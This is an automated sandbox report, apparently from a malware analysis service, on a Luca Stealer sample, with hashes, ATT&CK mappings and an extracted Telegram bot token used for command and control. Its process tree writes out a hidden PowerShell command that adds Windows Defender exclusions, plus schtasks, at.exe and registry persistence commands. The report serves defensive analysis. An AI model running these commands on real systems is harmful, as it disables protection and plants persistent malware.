lucastealer | 5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2023 08:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
Size

4.6MB
MD5

4fb226993825558cca2e8aa844033078
SHA1

f3fa3d94a7a01970a99f9dcf5fad250be30b8fd2
SHA256

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e
SHA512

c5ab520f0953ed53e682d811b6d51be11c4e831fa890913d1d2eb7ed03e2102c882f933f48bf8831b8ca5a605da7a98a6524b5a5cb6de1fd9d16351a2b53a2f8
SSDEEP

98304:utrbTA143lUrmaEXLW6jRhdGVQguhhW31Zo:Qc14IML5LdGVzu+la

Score

10^/10

lucastealer evasion persistence stealer

Malware Config

Extracted

Family

lucastealer

https://api.telegram.org/bot6068798932:AAG_cHiqinDwNZ3Hd-rdp8tPwbT0czdVwTw

Signatures

Luca Stealer
Info stealer written in Rust first seen in July 2022.
stealer lucastealer

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Windows\\explorer.exe, c:\\windows\\system\\explorer.exe"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Processes:

explorer.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Modifies Installed Components in the registry 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

svchost.exeexplorer.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	explorer.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath = "C:\\Users\\Admin\\AppData\\Roaming\\mrsys.exe MR"	svchost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

Drops startup file 1 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FQTMZS.lnk	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe

Executes dropped EXE 7 IoCs

Processes:

GSULJN.exegsuljn.exe icsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid process

860 GSULJN.exe
1228 gsuljn.exe
2028 icsys.icn.exe
1380 explorer.exe
4956 spoolsv.exe
4244 svchost.exe
4684 spoolsv.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

svchost.exe5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exeexplorer.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FQTMZS = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windata\\Microsoft Office Click-to-Run.exe\""	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\system\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\system\\svchost.exe RO"	explorer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 6 IoCs

Processes:

explorer.exesvchost.exeicsys.icn.exespoolsv.exe

description	ioc	process
File opened for modification	\??\c:\windows\system\explorer.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	svchost.exe
File opened for modification	C:\Windows\system\udsys.exe	explorer.exe
File opened for modification	\??\c:\windows\system\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\system\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\system\svchost.exe	spoolsv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4704 schtasks.exe

pid	process
4704	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exepowershell.exeicsys.icn.exeexplorer.exesvchost.exe

pid	process
4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
1584	powershell.exe
2028	icsys.icn.exe
2028	icsys.icn.exe
1584	powershell.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
1380	explorer.exe
4244	svchost.exe
4244	svchost.exe
1380	explorer.exe
1380	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exeexplorer.exesvchost.exe

pid process

4676 5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
1380 explorer.exe
4244 svchost.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1584 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

GSULJN.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exespoolsv.exe

pid	process
860	GSULJN.exe
860	GSULJN.exe
2028	icsys.icn.exe
2028	icsys.icn.exe
1380	explorer.exe
1380	explorer.exe
4956	spoolsv.exe
4956	spoolsv.exe
4244	svchost.exe
4244	svchost.exe
4684	spoolsv.exe
4684	spoolsv.exe
1380	explorer.exe
1380	explorer.exe

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.execmd.exeGSULJN.execmd.exeicsys.icn.exeexplorer.exespoolsv.exesvchost.exe

description	pid	process	target process
PID 4676 wrote to memory of 860	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 4676 wrote to memory of 860	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 4676 wrote to memory of 860	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	GSULJN.exe
PID 4676 wrote to memory of 3208	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 4676 wrote to memory of 3208	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 4676 wrote to memory of 3208	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 3208 wrote to memory of 4864	3208	cmd.exe	reg.exe
PID 3208 wrote to memory of 4864	3208	cmd.exe	reg.exe
PID 3208 wrote to memory of 4864	3208	cmd.exe	reg.exe
PID 3208 wrote to memory of 1584	3208	cmd.exe	powershell.exe
PID 3208 wrote to memory of 1584	3208	cmd.exe	powershell.exe
PID 3208 wrote to memory of 1584	3208	cmd.exe	powershell.exe
PID 4676 wrote to memory of 3028	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 4676 wrote to memory of 3028	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 4676 wrote to memory of 3028	4676	5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe	cmd.exe
PID 3208 wrote to memory of 3412	3208	cmd.exe	reg.exe
PID 3208 wrote to memory of 3412	3208	cmd.exe	reg.exe
PID 3208 wrote to memory of 3412	3208	cmd.exe	reg.exe
PID 860 wrote to memory of 1228	860	GSULJN.exe	gsuljn.exe
PID 860 wrote to memory of 1228	860	GSULJN.exe	gsuljn.exe
PID 3028 wrote to memory of 4704	3028	cmd.exe	schtasks.exe
PID 3028 wrote to memory of 4704	3028	cmd.exe	schtasks.exe
PID 3028 wrote to memory of 4704	3028	cmd.exe	schtasks.exe
PID 860 wrote to memory of 2028	860	GSULJN.exe	icsys.icn.exe
PID 860 wrote to memory of 2028	860	GSULJN.exe	icsys.icn.exe
PID 860 wrote to memory of 2028	860	GSULJN.exe	icsys.icn.exe
PID 2028 wrote to memory of 1380	2028	icsys.icn.exe	explorer.exe
PID 2028 wrote to memory of 1380	2028	icsys.icn.exe	explorer.exe
PID 2028 wrote to memory of 1380	2028	icsys.icn.exe	explorer.exe
PID 1380 wrote to memory of 4956	1380	explorer.exe	spoolsv.exe
PID 1380 wrote to memory of 4956	1380	explorer.exe	spoolsv.exe
PID 1380 wrote to memory of 4956	1380	explorer.exe	spoolsv.exe
PID 4956 wrote to memory of 4244	4956	spoolsv.exe	svchost.exe
PID 4956 wrote to memory of 4244	4956	spoolsv.exe	svchost.exe
PID 4956 wrote to memory of 4244	4956	spoolsv.exe	svchost.exe
PID 4244 wrote to memory of 4684	4244	svchost.exe	spoolsv.exe
PID 4244 wrote to memory of 4684	4244	svchost.exe	spoolsv.exe
PID 4244 wrote to memory of 4684	4244	svchost.exe	spoolsv.exe
PID 4244 wrote to memory of 4440	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4440	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4440	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4308	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4308	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4308	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4768	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4768	4244	svchost.exe	at.exe
PID 4244 wrote to memory of 4768	4244	svchost.exe	at.exe

C:\Users\Admin\AppData\Local\Temp\5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe
"C:\Users\Admin\AppData\Local\Temp\5c716264acfa43a258fdb03007e2e787b230230e7e1d4d5bbcf256810b02909e.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Users\Admin\AppData\Local\Temp\GSULJN.exe
  "C:\Users\Admin\AppData\Local\Temp\GSULJN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:860
- - \??\c:\users\admin\appdata\local\temp\gsuljn.exe
    c:\users\admin\appdata\local\temp\gsuljn.exe
    3⤵
    - Executes dropped EXE
    PID:1228
- - C:\Users\Admin\AppData\Local\icsys.icn.exe
    C:\Users\Admin\AppData\Local\icsys.icn.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - \??\c:\windows\system\explorer.exe
      c:\windows\system\explorer.exe
      4⤵
      Modifies WinLogon for persistence
      Modifies visiblity of hidden/system files in Explorer
      Modifies Installed Components in the registry
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1380
    - - \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe SE
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4956
      - \??\c:\windows\system\svchost.exe
        
        c:\windows\system\svchost.exe
        6⤵
        Modifies WinLogon for persistence
        Modifies visiblity of hidden/system files in Explorer
        Modifies Installed Components in the registry
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4244
        
        \??\c:\windows\system\spoolsv.exe
        
        c:\windows\system\spoolsv.exe PR
        7⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4684
        
        C:\Windows\SysWOW64\at.exe
        
        at 08:05 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:4440
        
        C:\Windows\SysWOW64\at.exe
        
        at 08:06 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:4308
        
        C:\Windows\SysWOW64\at.exe
        
        at 08:07 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
        7⤵
        
        PID:4768
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XSASZW.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:4864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -nologo -noninteractive -windowStyle hidden -noprofile -command $First = "Add-MpPreference -ThreatIDDefaultAction_Ids "; $Third = " -ThreatIDDefaultAction_Actions Allow -Force"; $ListID = 2147685180, 2147735507, 2147736914, 2147743522, 2147734094, 2147743421, 251873, 213927, 2147722906, 2147748160; ForEach ($ID in $ListID) { Invoke-Expression ($First + $ID + $Third) }; $ListPath = "C:\Windows\KMSAutoS", "C:\Windows\System32\SppExtComObjHook.dll", "C:\Windows\System32\SppExtComObjPatcher.exe", "C:\Windows\AAct_Tools", "C:\Windows\AAct_Tools\AAct_x64.exe", "C:\Windows\AAct_Tools\AAct_files\KMSSS.exe", "C:\Windows\AAct_Tools\AAct_files", "C:\Windows\KMS"; $First = "Add-MpPreference -ExclusionPath "; $Third = "-Force"; ForEach ($Path in $ListPath) { Invoke-Expression ($First + $Path + $Third) }; :Admin
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19\Environment"
    3⤵
    PID:3412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn FQTMZS.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn FQTMZS.exe /tr C:\Users\Admin\AppData\Roaming\Windata\Microsoft Office Click-to-Run.exe /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:4704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\GSULJN.exe

Filesize
5.9MB

MD5
021079dc0918b9c7359e93e770678000

SHA1
70c03da6f7b339340b1943f5d0b7b1fd87579adf

SHA256
ee63e26e84d8092fda9e527f7db34777b6261d8dfc96ed42167383f88cf1c487

SHA512
9bc14753e39f2c93737886439d64a458f08265d1d8176c233a8e3f864e1f4f2751b161aa22408618d0dd343fb88b7037c8c2eee898c6d9b3bf466aaea709c5b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\XSASZW.cmd

Filesize
1KB

MD5
15a1fe3d0f342bdd3232253c7810a05d

SHA1
b658e0d903b37bf12e8e640bece22f235552dc50

SHA256
4070dcb09b69ef57160fae0be5ee3664e39170eeacc46e6f50a080493552b338

SHA512
1961fc65a839c55806162a197385859cfe3a24551ab9b7e0121166eac5e5ae1a4a0d9180229d0ea0240dccb770e4c2d508577e60988c9271bb11f94de1897a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zcrdayq2.rkp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gsuljn.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Local\icsys.icn.exe

Filesize
206KB

MD5
c5f78d788265a8c2b80017a0dc351266

SHA1
32836c3ccaf84431beaba1b10107743c052cddc0

SHA256
0a48908b44578715b511d6c067b2b0c1351783c049c68183f6067afff1ff72d0

SHA512
0315d122adf425001109bae742a1aff418f301f46c3655bf3e3d0c12ecc03ac3d70b52a60a744f81b7b041d28bf235f3d93abc26c71bfdd388be6a145a1bbb16

Download Submit
C:\Users\Admin\AppData\Roaming\mrsys.exe

Filesize
206KB

MD5
78e3d82288ea647cdc556c377c7aa0d7

SHA1
5da4c7652ad6f9707a1cfb00b8ccdb432dc658ca

SHA256
08c5477a72fe9919630a3ae5c84de16bee0a319027836857640914b5c6a9ad22

SHA512
dd2b46a7b193a62ef4fabffff25b14a8983f5ad1b4b7ccd72d023ff82c291c4d99e6fb55071e8aaeb2dc9d19c9c37dd64198605c912152cd6338ef15a3059c2a

Download Submit
C:\Windows\System\explorer.exe

Filesize
206KB

MD5
faab7d02e89bb306df22cc146da80295

SHA1
62e1051b62e226f9ec73df3e235299c8a195449c

SHA256
ad77c95230be92958014496e9cdafa5dcd2cf8932c0bb70a62d511b98fafdb57

SHA512
4413805c79ce995240853d627e13b2b38ecfc89f2d4a1900112d80b0a26e314f3e3ec26fadea4016a8ba8ab73b8680fdefd86f8fbc9a0b6bd9b5a51953e06af6

Download Submit
C:\Windows\System\spoolsv.exe

Filesize
206KB

MD5
81784f8f1c8f6b80929c6c79bff254fd

SHA1
8b076550e4205c909570f9333a2fcf58c9e95980

SHA256
dd3eac346c851515166c3ee0f4821e43b48e226707901d987959ec1d08abf239

SHA512
ccf4be652e93cfdda94d0e666f7ab5d0c8b8f0e0ceabcb802d61d3eb2de34b66250ba0cdd576364e14702095371961bbc17abdbe25ae73a6eb47122deffd57b4

Download Submit
C:\Windows\System\spoolsv.exe

Filesize
206KB

MD5
81784f8f1c8f6b80929c6c79bff254fd

SHA1
8b076550e4205c909570f9333a2fcf58c9e95980

SHA256
dd3eac346c851515166c3ee0f4821e43b48e226707901d987959ec1d08abf239

SHA512
ccf4be652e93cfdda94d0e666f7ab5d0c8b8f0e0ceabcb802d61d3eb2de34b66250ba0cdd576364e14702095371961bbc17abdbe25ae73a6eb47122deffd57b4

Download Submit
C:\Windows\System\svchost.exe

Filesize
206KB

MD5
853927f3e166e44182040d72e46c9b4b

SHA1
d0e8ceffb2c7f3709f44f3de8ea2937727c99e45

SHA256
868010de00ff501126dbd5edfcb17b19452b90b4abca4af24f66f736f34696ca

SHA512
9d081c9d0a68cce0d3d38d26e6c19e6f2d93979331352bd29a9cb75abc833c3f4fc29d28a754bf2e25b59ff2b85cad60e7ee546aa4b0d872435bd335fb8a12aa

Download Submit
\??\c:\users\admin\appdata\local\temp\gsuljn.exe

Filesize
5.7MB

MD5
2c2055233260e5bb20ce675afd39ed0d

SHA1
26c056ba8e99a3fb523612b422a85be3ecbbd5b3

SHA256
306827f0ef0a4cbecd5458776244bf7ee99f2e49569daf0034176b39f5d1c17d

SHA512
3e2a18cd0c7fe5e3529d37ac37b352f8c19d3fef947f117701bb712c19cb40ff3ed56c843c789334a6c93382deef1f5cf4a48fbadb6b1e46fe804b9430fa1546

Download Submit
\??\c:\windows\system\explorer.exe

Filesize
206KB

MD5
faab7d02e89bb306df22cc146da80295

SHA1
62e1051b62e226f9ec73df3e235299c8a195449c

SHA256
ad77c95230be92958014496e9cdafa5dcd2cf8932c0bb70a62d511b98fafdb57

SHA512
4413805c79ce995240853d627e13b2b38ecfc89f2d4a1900112d80b0a26e314f3e3ec26fadea4016a8ba8ab73b8680fdefd86f8fbc9a0b6bd9b5a51953e06af6

Download Submit
\??\c:\windows\system\spoolsv.exe

Filesize
206KB

MD5
81784f8f1c8f6b80929c6c79bff254fd

SHA1
8b076550e4205c909570f9333a2fcf58c9e95980

SHA256
dd3eac346c851515166c3ee0f4821e43b48e226707901d987959ec1d08abf239

SHA512
ccf4be652e93cfdda94d0e666f7ab5d0c8b8f0e0ceabcb802d61d3eb2de34b66250ba0cdd576364e14702095371961bbc17abdbe25ae73a6eb47122deffd57b4

Download Submit
\??\c:\windows\system\svchost.exe

Filesize
206KB

MD5
853927f3e166e44182040d72e46c9b4b

SHA1
d0e8ceffb2c7f3709f44f3de8ea2937727c99e45

SHA256
868010de00ff501126dbd5edfcb17b19452b90b4abca4af24f66f736f34696ca

SHA512
9d081c9d0a68cce0d3d38d26e6c19e6f2d93979331352bd29a9cb75abc833c3f4fc29d28a754bf2e25b59ff2b85cad60e7ee546aa4b0d872435bd335fb8a12aa

Download Submit
memory/860-96-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/860-20-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/1584-39-0x00000000026D0000-0x00000000026E0000-memory.dmp

Filesize
64KB

Download
memory/1584-37-0x0000000072810000-0x0000000072FC0000-memory.dmp

Filesize
7.7MB

Download
memory/1584-65-0x0000000005730000-0x0000000005A84000-memory.dmp

Filesize
3.3MB

Download
memory/1584-55-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/1584-47-0x0000000004C20000-0x0000000004C42000-memory.dmp

Filesize
136KB

Download
memory/1584-77-0x0000000005C00000-0x0000000005C1E000-memory.dmp

Filesize
120KB

Download
memory/1584-81-0x0000000005C30000-0x0000000005C7C000-memory.dmp

Filesize
304KB

Download
memory/1584-101-0x0000000072810000-0x0000000072FC0000-memory.dmp

Filesize
7.7MB

Download
memory/1584-40-0x0000000004E10000-0x0000000005438000-memory.dmp

Filesize
6.2MB

Download
memory/1584-49-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/1584-98-0x00000000026D0000-0x00000000026E0000-memory.dmp

Filesize
64KB

Download
memory/1584-36-0x0000000002600000-0x0000000002636000-memory.dmp

Filesize
216KB

Download
memory/1584-38-0x00000000026D0000-0x00000000026E0000-memory.dmp

Filesize
64KB

Download
memory/2028-95-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
